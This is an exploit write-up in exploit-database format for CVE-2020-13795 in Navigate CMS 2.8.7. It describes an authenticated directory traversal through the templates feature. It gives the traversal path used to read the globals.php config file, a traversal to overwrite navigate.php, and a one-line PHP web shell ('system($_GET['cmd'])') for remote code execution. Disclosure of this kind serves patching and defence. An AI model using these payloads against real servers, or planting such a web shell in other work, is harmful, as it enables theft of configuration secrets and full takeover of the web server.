Navigate CMS 2.8.7 Directory Traversal

`# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal  
# Date: 2020-06-04  
# Exploit Author: Gus Ralph  
# Vendor Homepage: https://www.navigatecms.com/en/home  
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download  
# Version: 2.8.7  
# Tested on: Ubuntu  
# CVE: CVE-2020-13795  
  
A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.  
  
For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:  
`/var/www/html/navigate/private/1/templates/`  
  
My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).  
  
My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`  
  
Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:  
  
Traversal payload:  
`../../../navigate.php`  
  
PHP Code execution payload:  
```  
<?php  
system($_GET['cmd']);  
?>  
```  
`